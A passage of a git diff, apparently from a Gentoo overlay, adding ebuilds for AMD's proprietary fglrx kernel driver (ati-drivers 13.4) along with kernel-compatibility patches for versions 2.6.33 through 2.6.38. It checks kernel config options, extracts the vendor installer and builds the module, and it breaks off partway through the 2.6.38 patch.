+	if ! linux_chkconfig_present PCI_MSI; then
+		eerror "${P} requires MSI in the kernel."
+		eerror "Please enable it:"
+		eerror "    CONFIG_PCI_MSI=y"
+		eerror "in /usr/src/linux/.config or"
+		eerror "    Bus options (PCI etc.)  --->"
+		eerror "        [*] Message Signaled Interrupts (MSI and MSI-X)"
+		eerror "in the kernel config."
+		error+=" CONFIG_PCI_MSI disabled;"
+		failed=1
+	fi
+
+	if linux_chkconfig_present LOCKDEP; then
+		eerror "You've enabled LOCKDEP -- lock tracking -- in the kernel."
+		eerror "Unfortunately, this option exports the symbol lock_acquire as GPL-only."
+		eerror "This prevents ${P} from compiling with an error like this:"
+		eerror "FATAL: modpost: GPL-incompatible module fglrx.ko uses GPL-only symbol 'lock_acquire'"
+		eerror "Please make sure the following options have been unset:"
+		eerror "    Kernel hacking  --->"
+		eerror "        [ ] Lock debugging: detect incorrect freeing of live locks"
+		eerror "        [ ] Lock debugging: prove locking correctness"
+		eerror "        [ ] Lock usage statistics"
+		eerror "in 'menuconfig'"
+		error+=" LOCKDEP enabled;"
+		failed=1
+	fi
+
+	use amd64 && if ! linux_chkconfig_present COMPAT; then
+		eerror "${P} requires COMPAT."
+		eerror "Please enable the 32 bit emulation:"
+		eerror "Executable file formats / Emulations  --->"
+		eerror "    [*] IA32 Emulation"
+		eerror "in the kernel config."
+		eerror "if this doesn't enable CONFIG_COMPAT add"
+		eerror "    CONFIG_COMPAT=y"
+		eerror "in /usr/src/linux/.config"
+		error+=" COMPAT disabled;"
+		failed=1
+	fi
+
+	kernel_is ge 2 6 37 && kernel_is le 2 6 38 && if ! linux_chkconfig_present BKL ; then
+		eerror "${P} requires BKL."
+		eerror "Please enable the Big Kernel Lock:"
+		eerror "Kernel hacking  --->"
+		eerror "    [*] Big Kernel Lock"
+		eerror "in the kernel config."
+		eerror "or add"
+		eerror "    CONFIG_BKL=y"
+		eerror "in /usr/src/linux/.config"
+		error+=" BKL disabled;"
+		failed=1
+	fi
+
+	[[ ${failed} -ne 0 ]] && die "${error}"
+}
+
+pkg_pretend() {
+	# workaround until bug 365543 is solved
+	linux-info_pkg_setup
+	require_configured_kernel
+	_check_kernel_config
+}
+
+pkg_setup() {
+	MODULE_NAMES="fglrx(video:${S}/${FOLDER_PREFIX}/lib/modules/fglrx/build_mod/2.6.x)"
+	BUILD_TARGETS="kmod_build"
+	linux-mod_pkg_setup
+	BUILD_PARAMS="GCC_VER_MAJ=$(gcc-major-version) KVER=${KV_FULL} KDIR=${KV_DIR}"
+	BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=\"-DMODULE -DATI -DFGL\""
+	if grep -q arch_compat_alloc_user_space ${KV_DIR}/arch/x86/include/asm/compat.h ; then
+		BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=-DCOMPAT_ALLOC_USER_SPACE=arch_compat_alloc_user_space"
+	else
+		BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=-DCOMPAT_ALLOC_USER_SPACE=compat_alloc_user_space"
+	fi
+	# Define module dir.
+	MODULE_DIR="${S}/${FOLDER_PREFIX}/lib/modules/fglrx/build_mod"
+	# get the xorg-server version and set BASE_DIR for that
+	BASE_DIR="${S}/xpic"
+
+	# amd64/x86
+	if use amd64 ; then
+		MY_BASE_DIR="${BASE_DIR}_64a"
+		PKG_LIBDIR=lib64
+		ARCH_DIR="${S}/arch/x86_64"
+	else
+		MY_BASE_DIR="${BASE_DIR}"
+		PKG_LIBDIR=lib
+		ARCH_DIR="${S}/arch/x86"
+	fi
+
+	elog
+	elog "Please note that this driver supports only graphic cards based on"
+	elog "Evergreen chipset and newer."
+	elog "This represent the AMD Radeon HD 5400+ series at this moment."
+	elog
+	elog "If your card is older then use ${CATEGORY}/xf86-video-ati"
+	elog "For migration informations please reffer to:"
+	elog "http://www.gentoo.org/proj/en/desktop/x/x11/ati-migration-guide.xml"
+	einfo
+}
+
+src_unpack() {
+	local DRIVERS_DISTFILE XVBA_SDK_DISTFILE
+	DRIVERS_DISTFILE=${DRIVERS_URI/*\//}
+	XVBA_SDK_DISTFILE=${XVBA_SDK_URI/*\//}
+
+	if [[ ${DRIVERS_DISTFILE} =~ .*\.tar\.gz ]]; then
+		unpack ${DRIVERS_DISTFILE}
+	else
+		#please note, RUN may be insanely assigned at top near SRC_URI
+		if [[ ${DRIVERS_DISTFILE} =~ .*\.zip ]]; then
+			unpack ${DRIVERS_DISTFILE}
+			[[ -z "$RUN" ]] && RUN="${S}/${DRIVERS_DISTFILE/%.zip/.run}"
+		else
+			RUN="${DISTDIR}/${DRIVERS_DISTFILE}"
+		fi
+		sh ${RUN} --extract "${S}" 2>&1 > /dev/null || die
+	fi
+
+	mkdir xvba_sdk
+	cd xvba_sdk
+	unpack ${XVBA_SDK_DISTFILE}
+}
+
+src_prepare() {
+	# version patches
+	# epatch "${FILESDIR}"/kernel/${PV}-*.patch
+	if use debug; then
+		sed -i '/^#define DRM_DEBUG_CODE/s/0/1/' \
+			"${MODULE_DIR}/firegl_public.c" \
+			|| die "Failed to enable debug output."
+	fi
+
+	# see http://ati.cchtml.com/show_bug.cgi?id=495
+	#epatch "${FILESDIR}"/ati-drivers-old_rsp.patch
+	# first hunk applied upstream second (x32 related) was not
+	epatch "${FILESDIR}"/ati-drivers-x32_something_something.patch
+
+	# compile fix for linux-3.7
+	# https://bugs.gentoo.org/show_bug.cgi?id=438516
+	epatch "${FILESDIR}/ati-drivers-vm-reserverd.patch"
+
+	# compile fix for AGP-less kernel, bug #435322
+	epatch "${FILESDIR}"/ati-drivers-12.9-KCL_AGP_FindCapsRegisters-stub.patch
+
+	# Use ACPI_DEVICE_HANDLE wrapper to make driver build on linux-3.8
+	# see https://bugs.gentoo.org/show_bug.cgi?id=448216
+	epatch "${FILESDIR}/ati-drivers-kernel-3.8-acpihandle.patch"
+
+	cd "${MODULE_DIR}"
+	# bugged fglrx build system, this file should be copied by hand
+	cp "${ARCH_DIR}"/lib/modules/fglrx/build_mod/libfglrx_ip.a 2.6.x
+
+	convert_to_m 2.6.x/Makefile || die "convert_to_m failed"
+
+	# When built with ati's make.sh it defines a bunch of macros if
+	# certain .config values are set, falling back to less reliable
+	# detection methods if linux/autoconf.h is not available. We
+	# simply use the linux/autoconf.h settings directly, bypassing the
+	# detection script.
+	sed -i -e 's/__SMP__/CONFIG_SMP/' *.c *h || die "SMP sed failed"
+	sed -i -e 's/ifdef MODVERSIONS/ifdef CONFIG_MODVERSIONS/' *.c *.h \
+		|| die "MODVERSIONS sed failed"
+	cd "${S}"
+
+	mkdir extra || die "mkdir failed"
+	cd extra
+	unpack ./../${FOLDER_PREFIX}usr/src/ati/fglrx_sample_source.tgz
+}
+
+src_compile() {
+	linux-mod_src_compile
+}
+
+src_install() {
+	linux-mod_src_install
+}
+
+pkg_postinst() {
+	elog "If you experience unexplained segmentation faults and kernel crashes"
+	elog "with this driver and multi-threaded applications such as wine,"
+	elog "set UseFastTLS in xorg.conf to either 0 or 1, but not 2."
+	linux-mod_pkg_postinst
+}
+
+pkg_preinst() {
+	linux-mod_pkg_preinst
+}
+
+pkg_postrm() {
+	linux-mod_pkg_postrm
+}
diff --git a/x11-drivers/ati-drivers/ati-drivers-13.4.ebuild b/x11-drivers/ati-drivers/ati-drivers-13.4.ebuild
new file mode 100644
index 00000000..b80fdf13
--- /dev/null
+++ b/x11-drivers/ati-drivers/ati-drivers-13.4.ebuild
@@ -0,0 +1,192 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit eutils multilib linux-info linux-mod toolchain-funcs versionator
+
+DESCRIPTION="Ati precompiled drivers for Radeon Evergreen (HD5000 Series) and newer chipsets"
+HOMEPAGE="http://www.amd.com"
+MY_V=( $(get_version_components) )
+#RUN="${WORKDIR}/amd-driver-installer-9.00-x86.x86_64.run"
+SLOT="1"
+[[ "${MY_V[2]}" =~  beta.* ]] && BETADIR="beta/" || BETADIR="linux/"
+if [[ legacy != ${SLOT} ]]; then
+	DRIVERS_URI="http://www2.ati.com/drivers/${BETADIR}amd-catalyst-${PV/_beta/-beta}-linux-x86.x86_64.zip"
+else
+	DRIVERS_URI="http://www2.ati.com/drivers/legacy/amd-driver-installer-catalyst-$(get_version_component_range 1-2)-$(get_version_component_range 3)-legacy-linux-x86.x86_64.zip"
+fi
+XVBA_SDK_URI="http://developer.amd.com/wordpress/media/2012/10/xvba-sdk-0.74-404001.tar.gz"
+SRC_URI="${DRIVERS_URI} ${XVBA_SDK_URI}"
+FOLDER_PREFIX="common/"
+IUSE="debug multilib x-multilib pax_kernel disable-watermark"
+
+LICENSE="AMD GPL-2 QPL-1.0"
+KEYWORDS="-* ~amd64 ~x86"
+RESTRICT="bindist test"
+
+RDEPEND="x-multilib? ( ~x11-drivers/ati-userspace-${PV}[x-multilib] )
+	multilib? ( ~x11-drivers/ati-userspace-${PV}[multilib] )
+	~x11-drivers/ati-userspace-${PV}
+	sys-power/acpid"
+DEPEND="${RDEPEND}"
+
+S="${WORKDIR}"
+
+CONFIG_CHECK="~MTRR ~!DRM ACPI PCI_MSI !LOCKDEP !PAX_KERNEXEC_PLUGIN_METHOD_OR"
+use amd64 && CONFIG_CHECK="${CONFIG_CHECK} COMPAT"
+ERROR_MTRR="CONFIG_MTRR required for direct rendering."
+ERROR_DRM="CONFIG_DRM must be disabled or compiled as a module and not loaded for direct
+	rendering to work."
+ERROR_LOCKDEP="CONFIG_LOCKDEP (lock tracking) exports the symbol lock_acquire
+	as GPL-only. This prevents ${P} from compiling with an error like this:
+	FATAL: modpost: GPL-incompatible module fglrx.ko uses GPL-only symbol 'lock_acquire'"
+ERROR_PAX_KERNEXEC_PLUGIN_METHOD_OR="This config option will cause
+	kernel to reject loading the fglrx module with
+	\"ERROR: could not insert 'fglrx': Exec format error.\"
+	You may want to try CONFIG_PAX_KERNEXEC_PLUGIN_METHOD_BTS instead."
+
+_check_kernel_config() {
+	if ! linux_chkconfig_present AGP && \
+		! linux_chkconfig_present PCIEPORTBUS; then
+		ewarn "You don't have AGP and/or PCIe support enabled in the kernel"
+		ewarn "Direct rendering will not work."
+	fi
+
+	kernel_is ge 2 6 37 && kernel_is le 2 6 38 && if ! linux_chkconfig_present BKL ; then
+		die "CONFIG_BKL must be enabled for kernels 2.6.37-2.6.38."
+	fi
+}
+
+pkg_pretend() {
+	# workaround until bug 365543 is solved
+	linux-info_pkg_setup
+	require_configured_kernel
+	_check_kernel_config
+}
+
+pkg_setup() {
+	MODULE_NAMES="fglrx(video:${S}/${FOLDER_PREFIX}/lib/modules/fglrx/build_mod/2.6.x)"
+	BUILD_TARGETS="kmod_build"
+	linux-mod_pkg_setup
+	BUILD_PARAMS="GCC_VER_MAJ=$(gcc-major-version) KVER=${KV_FULL} KDIR=${KV_DIR}"
+	BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=\"-DMODULE -DATI -DFGL\""
+	if grep -q arch_compat_alloc_user_space ${KV_DIR}/arch/x86/include/asm/compat.h ; then
+		BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=-DCOMPAT_ALLOC_USER_SPACE=arch_compat_alloc_user_space"
+	else
+		BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=-DCOMPAT_ALLOC_USER_SPACE=compat_alloc_user_space"
+	fi
+	# Define module dir.
+	MODULE_DIR="${S}/${FOLDER_PREFIX}/lib/modules/fglrx/build_mod"
+	# get the xorg-server version and set BASE_DIR for that
+	BASE_DIR="${S}/xpic"
+
+	# amd64/x86
+	if use amd64 ; then
+		MY_BASE_DIR="${BASE_DIR}_64a"
+		PKG_LIBDIR=lib64
+		ARCH_DIR="${S}/arch/x86_64"
+	else
+		MY_BASE_DIR="${BASE_DIR}"
+		PKG_LIBDIR=lib
+		ARCH_DIR="${S}/arch/x86"
+	fi
+
+	elog
+	elog "Please note that this driver only supports graphic cards based on"
+	elog "Evergreen chipset and newer."
+	elog "This includes the AMD Radeon HD 5400+ series at this moment."
+	elog
+	elog "If your card is older then use ${CATEGORY}/xf86-video-ati"
+	elog "For migration information please refer to:"
+	elog "http://www.gentoo.org/proj/en/desktop/x/x11/ati-migration-guide.xml"
+	einfo
+}
+
+src_unpack() {
+	local DRIVERS_DISTFILE XVBA_SDK_DISTFILE
+	DRIVERS_DISTFILE=${DRIVERS_URI##*/}
+	XVBA_SDK_DISTFILE=${XVBA_SDK_URI##*/}
+
+	if [[ ${DRIVERS_DISTFILE} =~ .*\.tar\.gz ]]; then
+		unpack ${DRIVERS_DISTFILE}
+	else
+		#please note, RUN may be insanely assigned at top near SRC_URI
+		if [[ ${DRIVERS_DISTFILE} =~ .*\.zip ]]; then
+			unpack ${DRIVERS_DISTFILE}
+			[[ -z "$RUN" ]] && RUN="${S}/${DRIVERS_DISTFILE/%.zip/.run}"
+		else
+			RUN="${DISTDIR}/${DRIVERS_DISTFILE}"
+		fi
+		sh ${RUN} --extract "${S}" 2>&1 > /dev/null || die
+	fi
+
+	mkdir xvba_sdk
+	cd xvba_sdk
+	unpack ${XVBA_SDK_DISTFILE}
+}
+
+src_prepare() {
+	# version patches
+	# epatch "${FILESDIR}"/kernel/${PV}-*.patch
+	if use debug; then
+		sed -i '/^#define DRM_DEBUG_CODE/s/0/1/' \
+			"${MODULE_DIR}/firegl_public.c" \
+			|| die "Failed to enable debug output."
+	fi
+
+	# see http://ati.cchtml.com/show_bug.cgi?id=495
+	#epatch "${FILESDIR}"/ati-drivers-old_rsp.patch
+	# first hunk applied upstream second (x32 related) was not
+	epatch "${FILESDIR}"/ati-drivers-x32_something_something.patch
+
+	# compile fix for AGP-less kernel, bug #435322
+	epatch "${FILESDIR}"/ati-drivers-12.9-KCL_AGP_FindCapsRegisters-stub.patch
+
+	# Compile fix, https://bugs.gentoo.org/show_bug.cgi?id=454870
+	use pax_kernel && epatch "${FILESDIR}/const-notifier-block.patch"
+
+	cd "${MODULE_DIR}"
+	# bugged fglrx build system, this file should be copied by hand
+	cp ${ARCH_DIR}/lib/modules/fglrx/build_mod/libfglrx_ip.a 2.6.x
+
+	convert_to_m 2.6.x/Makefile || die "convert_to_m failed"
+
+	# When built with ati's make.sh it defines a bunch of macros if
+	# certain .config values are set, falling back to less reliable
+	# detection methods if linux/autoconf.h is not available. We
+	# simply use the linux/autoconf.h settings directly, bypassing the
+	# detection script.
+	sed -i -e 's/__SMP__/CONFIG_SMP/' *.c *h || die "SMP sed failed"
+	sed -i -e 's/ifdef MODVERSIONS/ifdef CONFIG_MODVERSIONS/' *.c *.h \
+		|| die "MODVERSIONS sed failed"
+	cd "${S}"
+
+	mkdir extra || die "mkdir extra failed"
+	cd extra
+	unpack ./../${FOLDER_PREFIX}usr/src/ati/fglrx_sample_source.tgz
+}
+
+src_compile() {
+	linux-mod_src_compile
+}
+
+src_install() {
+	linux-mod_src_install
+}
+
+pkg_postinst() {
+	elog "If you experience unexplained segmentation faults and kernel crashes"
+	elog "with this driver and multi-threaded applications such as wine,"
+	elog "set UseFastTLS in xorg.conf to either 0 or 1, but not 2."
+	linux-mod_pkg_postinst
+}
+
+pkg_preinst() {
+	linux-mod_pkg_preinst
+}
+
+pkg_postrm() {
+	linux-mod_pkg_postrm
+}
diff --git a/x11-drivers/ati-drivers/files/amd-drivers-3.2.7.1.patch b/x11-drivers/ati-drivers/files/amd-drivers-3.2.7.1.patch
new file mode 100644
index 00000000..104c8788
--- /dev/null
+++ b/x11-drivers/ati-drivers/files/amd-drivers-3.2.7.1.patch
@@ -0,0 +1,19 @@
+--- a/common/lib/modules/fglrx/build_mod/firegl_public.c
++++ b/common/lib/modules/fglrx/build_mod/firegl_public.c
+@@ -5797,10 +5797,16 @@ void ATI_API_CALL KCL_fpu_begin(void)
+ #ifdef CONFIG_X86_64
+     kernel_fpu_begin();
+ #else
++#ifndef TS_USEDFPU
++    preempt_disable();
++    if (__thread_has_fpu(current))
++        __save_init_fpu(current);
++#else
+     struct thread_info *cur_task = current_thread_info();
+     preempt_disable();
+     if (cur_task->status & TS_USEDFPU)
+         __save_init_fpu(cur_task->task);
++#endif
+     else
+         clts();
+ #endif
diff --git a/x11-drivers/ati-drivers/files/ati-drivers-12.2-redefine-WARN.patch b/x11-drivers/ati-drivers/files/ati-drivers-12.2-redefine-WARN.patch
new file mode 100644
index 00000000..f4fab432
--- /dev/null
+++ b/x11-drivers/ati-drivers/files/ati-drivers-12.2-redefine-WARN.patch
@@ -0,0 +1,42 @@
+--- common/lib/modules/fglrx/build_mod/kcl_debug.h.orig	2012-03-08 19:30:38.195025328 +0100
++++ common/lib/modules/fglrx/build_mod/kcl_debug.h	2012-03-08 19:31:24.976024507 +0100
+@@ -85,8 +85,8 @@
+ #ifdef ERROR
+ #undef ERROR
+ #endif
+-#ifdef WARN
+-#undef WARN
++#ifdef AMD_WARN
++#undef AMD_WARN
+ #endif
+ #ifdef INFO
+ #undef INFO
+@@ -122,7 +122,7 @@
+ {
+     SPECIAL = 0,
+     ERROR  ,
+-    WARN  ,
++    AMD_WARN  ,
+     INFO ,
+     INFOEX,
+     TRACE,
+@@ -160,7 +160,7 @@
+ }log_map;
+ 
+ 
+-#define DEFAULT_LOG_LEVEL ((U08)(___BIT(INFO) | ___BIT(INFOEX) |___BIT(ERROR) |___BIT(WARN) | ___BIT(TRACE)| ___BIT(SPECIAL)  ))
++#define DEFAULT_LOG_LEVEL ((U08)(___BIT(INFO) | ___BIT(INFOEX) |___BIT(ERROR) |___BIT(AMD_WARN) | ___BIT(TRACE)| ___BIT(SPECIAL)  ))
+ #define INFO_LOG_LEVEL ((U08)(___BIT(INFO) | ___BIT(INFOEX)))
+ extern const log_map module_log_map[];
+ extern const module_map module_type_map[];
+--- common/lib/modules/fglrx/build_mod/kcl_debug.c.orig	2012-03-08 19:36:18.244019310 +0100
++++ common/lib/modules/fglrx/build_mod/kcl_debug.c	2012-03-08 19:36:36.197018973 +0100
+@@ -69,7 +69,7 @@
+ {
+     {SPECIAL        ,   'S'},
+     {ERROR          ,   'E'},
+-    {WARN           ,   'W'},
++    {AMD_WARN           ,   'W'},
+     {INFO           ,   'I'},
+     {INFOEX         ,   'X'},
+     {TRACE          ,   'T'},
diff --git a/x11-drivers/ati-drivers/files/ati-drivers-12.9-KCL_AGP_FindCapsRegisters-stub.patch b/x11-drivers/ati-drivers/files/ati-drivers-12.9-KCL_AGP_FindCapsRegisters-stub.patch
new file mode 100644
index 00000000..0ea461b8
--- /dev/null
+++ b/x11-drivers/ati-drivers/files/ati-drivers-12.9-KCL_AGP_FindCapsRegisters-stub.patch
@@ -0,0 +1,27 @@
+From: Vasiliy Yeremeyev <vayerx@gmail.com>
+Date: Sun, 4 Nov 2012 23:59:36 +0400
+Subject: [PATCH] KCL_AGP_FindCapsRegisters stub for AGP-less systems
+
+---
+ common/lib/modules/fglrx/build_mod/kcl_agp.c | 5 +++++
+ 1 file changed, 5 insertions(+)
+
+diff --git a/common/lib/modules/fglrx/build_mod/kcl_agp.c b/common/lib/modules/fglrx/build_mod/kcl_agp.c
+index b9c0655..cb1902b 100644
+--- a/common/lib/modules/fglrx/build_mod/kcl_agp.c
++++ b/common/lib/modules/fglrx/build_mod/kcl_agp.c
+@@ -479,6 +479,11 @@ int ATI_API_CALL KCL_AGP_Enable(unsigned long mode)
+     return -EINVAL;
+ }
+ 
++int ATI_API_CALL KCL_AGP_FindCapsRegisters(KCL_PCI_DevHandle dev)
++{
++    return -EINVAL;
++}
++
+ int ATI_API_CALL KCL_AGP_ReadCapsRegisters(KCL_PCI_DevHandle dev, unsigned int *caps)
+ {
+     return -EINVAL;
+-- 
+1.7.12
+
diff --git a/x11-drivers/ati-drivers/files/ati-drivers-2.6.33.patch b/x11-drivers/ati-drivers/files/ati-drivers-2.6.33.patch
new file mode 100644
index 00000000..85f9aff7
--- /dev/null
+++ b/x11-drivers/ati-drivers/files/ati-drivers-2.6.33.patch
@@ -0,0 +1,140 @@
+--- work.orig/common/lib/modules/fglrx/build_mod/drmP.h
++++ work/common/lib/modules/fglrx/build_mod/drmP.h
+@@ -42,7 +42,11 @@
+  * can build the DRM (part of PI DRI). 4/21/2000 S + B */
+ #include <asm/current.h>
+ #endif /* __alpha__ */
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,33)
++#include <generated/autoconf.h>
++#else
+ #include <linux/autoconf.h>
++#endif
+ #include <linux/module.h>
+ #include <linux/kernel.h>
+ #include <linux/miscdevice.h>
+--- work.orig/common/lib/modules/fglrx/build_mod/firegl_public.c
++++ work/common/lib/modules/fglrx/build_mod/firegl_public.c
+@@ -28,7 +28,11 @@
+ #error Kernel versions older than 2.6.0 are no longer supported by this module.
+ #endif 
+ 
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,33)
++#include <generated/autoconf.h>
++#else
+ #include <linux/autoconf.h>
++#endif
+ 
+ #if !defined(CONFIG_X86) 
+ #if !defined(CONFIG_X86_PC) 
+@@ -163,8 +167,12 @@
+ 
+ //  For 2.6.18 or higher, the UTS_RELEASE is defined in the linux/utsrelease.h. 
+ #ifndef UTS_RELEASE 
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,33)
++#include <generated/utsrelease.h>
++#else
+ #include <linux/utsrelease.h>
+ #endif
++#endif
+ 
+ #if defined(__i386__)
+ #ifndef do_div
+--- work.orig/common/lib/modules/fglrx/build_mod/kcl_acpi.c
++++ work/common/lib/modules/fglrx/build_mod/kcl_acpi.c
+@@ -15,7 +15,11 @@
+  ****************************************************************************/
+ 
+ #include <linux/version.h>
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,33)
++#include <generated/autoconf.h>
++#else
+ #include <linux/autoconf.h>
++#endif
+ #include <linux/acpi.h>
+ 
+ #include "kcl_config.h"
+--- work.orig/common/lib/modules/fglrx/build_mod/kcl_agp.c
++++ work/common/lib/modules/fglrx/build_mod/kcl_agp.c
+@@ -31,7 +31,11 @@
+  */
+ 
+ #include <linux/version.h>
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,33)
++#include <generated/autoconf.h>
++#else
+ #include <linux/autoconf.h>
++#endif
+ #include <linux/pci.h>
+ #include <linux/agp_backend.h>
+ #include <linux/string.h>
+--- work.orig/common/lib/modules/fglrx/build_mod/kcl_io.c
++++ work/common/lib/modules/fglrx/build_mod/kcl_io.c
+@@ -37,7 +37,11 @@
+  */
+ 
+ #include <linux/version.h>
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,33)
++#include <generated/autoconf.h>
++#else
+ #include <linux/autoconf.h>
++#endif
+ #include <linux/poll.h>
+ #include <linux/signal.h>
+ #include <asm/io.h>
+--- work.orig/common/lib/modules/fglrx/build_mod/kcl_osconfig.h
++++ work/common/lib/modules/fglrx/build_mod/kcl_osconfig.h
+@@ -20,7 +20,11 @@
+ #define KCL_OSCONFIG_H
+ 
+ #include <linux/version.h>
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,33)
++#include <generated/autoconf.h>
++#else
+ #include <linux/autoconf.h>
++#endif
+ 
+ // Choose modern way to call 32-on-64 IOCTLs if configured in the kernel
+ #if defined(CONFIG_COMPAT) && LINUX_VERSION_CODE > KERNEL_VERSION(2,6,9)
+--- work.orig/common/lib/modules/fglrx/build_mod/kcl_pci.c
++++ work/common/lib/modules/fglrx/build_mod/kcl_pci.c
+@@ -31,7 +31,11 @@
+  */
+ 
+ #include <linux/version.h>
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,33)
++#include <generated/autoconf.h>
++#else
+ #include <linux/autoconf.h>
++#endif
+ #include <linux/pci.h>
+ 
+ #include "kcl_config.h"
+--- work.orig/common/lib/modules/fglrx/build_mod/kcl_str.c
++++ work/common/lib/modules/fglrx/build_mod/kcl_str.c
+@@ -30,7 +30,12 @@
+  *
+  */
+ 
++#include <linux/version.h>
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,33)
++#include <generated/autoconf.h>
++#else
+ #include <linux/autoconf.h>
++#endif
+ #include <linux/string.h>
+ #include <linux/module.h>
+ 
+--- work.orig/common/lib/modules/fglrx/build_mod/kcl_wait.c
++++ work/common/lib/modules/fglrx/build_mod/kcl_wait.c
+@@ -31,7 +31,11 @@
+  */
+ 
+ #include <linux/version.h>
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,33)
++#include <generated/autoconf.h>
++#else
+ #include <linux/autoconf.h>
++#endif
+ #include <linux/wait.h>
+ #include <linux/highmem.h>
+ #include <linux/sched.h>
diff --git a/x11-drivers/ati-drivers/files/ati-drivers-2.6.34.patch b/x11-drivers/ati-drivers/files/ati-drivers-2.6.34.patch
new file mode 100644
index 00000000..1993d134
--- /dev/null
+++ b/x11-drivers/ati-drivers/files/ati-drivers-2.6.34.patch
@@ -0,0 +1,10 @@
+--- work.orig/common/lib/modules/fglrx/build_mod/kcl_wait.c	2010-04-13 20:02:46.494496561 +0200
++++ work/common/lib/modules/fglrx/build_mod/kcl_wait.c	2010-04-13 19:52:00.054563389 +0200
+@@ -39,6 +39,7 @@
+ #include <linux/wait.h>
+ #include <linux/highmem.h>
+ #include <linux/sched.h>
++#include <linux/slab.h>
+
+ #include "kcl_config.h"
+ #include "kcl_wait.h"
diff --git a/x11-drivers/ati-drivers/files/ati-drivers-2.6.35-and-newer.patch b/x11-drivers/ati-drivers/files/ati-drivers-2.6.35-and-newer.patch
new file mode 100644
index 00000000..e1703f34
--- /dev/null
+++ b/x11-drivers/ati-drivers/files/ati-drivers-2.6.35-and-newer.patch
@@ -0,0 +1,11 @@
+--- work.orig/common/lib/modules/fglrx/build_mod/kcl_ioctl.c	2010-09-19 11:45:04.922760268 +0200
++++ work/common/lib/modules/fglrx/build_mod/kcl_ioctl.c	2010-09-19 12:04:29.092812959 +0200
+@@ -193,7 +193,7 @@ void ATI_API_CALL KCL_IOCTL_UnregisterCo
+  */
+ void* ATI_API_CALL KCL_IOCTL_AllocUserSpace32(long size)
+ {
+-    return compat_alloc_user_space(size);
++    return arch_compat_alloc_user_space(size);
+ }
+ 
+ #endif // __x86_64__
diff --git a/x11-drivers/ati-drivers/files/ati-drivers-2.6.36.patch b/x11-drivers/ati-drivers/files/ati-drivers-2.6.36.patch
new file mode 100644
index 00000000..5f8f5845
--- /dev/null
+++ b/x11-drivers/ati-drivers/files/ati-drivers-2.6.36.patch
@@ -0,0 +1,26 @@
+--- work.orig/common/lib/modules/fglrx/build_mod/firegl_public.c	2010-08-20 21:51:48.000000000 +0200
++++ work/common/lib/modules/fglrx/build_mod/firegl_public.c	2010-08-20 23:46:37.000000000 +0200
+@@ -320,7 +320,11 @@
+     return firegl_release((KCL_IO_FILE_Handle)filp);
+ }
+ 
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,36)
++int ip_firegl_ioctl(struct file* filp, unsigned int cmd, unsigned long arg)
++#else
+ int ip_firegl_ioctl(struct inode* inode, struct file* filp, unsigned int cmd, unsigned long arg)
++#endif
+ {
+     return firegl_ioctl((KCL_IO_FILE_Handle)filp, cmd, arg);
+ }
+@@ -407,7 +411,11 @@
+ #endif
+     open:    ip_firegl_open,
+     release: ip_firegl_release,
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,36)
++    unlocked_ioctl:   ip_firegl_ioctl,
++#else
+     ioctl:   ip_firegl_ioctl,
++#endif
+     mmap:    ip_firegl_mmap,
+ 
+     write:   ip_firegl_write,
diff --git a/x11-drivers/ati-drivers/files/ati-drivers-2.6.37.patch b/x11-drivers/ati-drivers/files/ati-drivers-2.6.37.patch
new file mode 100644
index 00000000..e3feb837
--- /dev/null
+++ b/x11-drivers/ati-drivers/files/ati-drivers-2.6.37.patch
@@ -0,0 +1,14 @@
+--- ati.orig/common/lib/modules/fglrx/build_mod/firegl_public.c	2010-11-18 18:08:34.831997690 +0100
++++ ati/common/lib/modules/fglrx/build_mod/firegl_public.c	2010-11-18 18:10:28.711997706 +0100
+@@ -5094,7 +5094,11 @@
+ unsigned int ATI_API_CALL KAS_Mutex_Initialize(void* hMutex)
+ {
+     kasMutex_t* mutex_obj = (kasMutex_t*)hMutex;
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,37)
++    sema_init(&(mutex_obj->mutex),1);
++#else
+     init_MUTEX(&(mutex_obj->mutex));
++#endif
+     return 1;
+ }
+ 
diff --git a/x11-drivers/ati-drivers/files/ati-drivers-2.6.38.patch b/x11-drivers/ati-drivers/files/ati-drivers-2.6.38.patch
new file mode 100644
index 00000000..0c3970e0
--- /dev/null
+++ b/x11-drivers/ati-drivers/files/ati-drivers-2.6.38.patch
@@ -0,0 +1,60 @@
+--- cat11.1/common/lib/modules/fglrx/build_mod/firegl_public.c	2011-01-17 15:59:26.000000000 +0100
++++ cat11.1/common/lib/modules/fglrx/build_mod/firegl_public.c	2011-02-01 18:39:08.902218444 +0100
+@@ -848,7 +848,12 @@
+      * happen much less frequent then without this workaround.
+      */
+     if (state == PM_EVENT_SUSPEND)
+-        acquire_console_sem();
++      
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,38)
++        console_lock();
++#else
++	acquire_console_sem();
++#endif
+ 
+     if (firegl_cail_powerdown(privdev, state))
+         ret = -EIO;
+@@ -870,8 +875,13 @@
+     }
+ 
+     if (state == PM_EVENT_SUSPEND)
+-        release_console_sem();
+-
++      
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,38)
++        console_unlock();
++#else
++	release_console_sem();
++#endif
++	
+     KCL_DEBUG_TRACEOUT(FN_FIREGL_ACPI, ret, NULL);  
+     
+     return ret;
+@@ -894,7 +904,12 @@
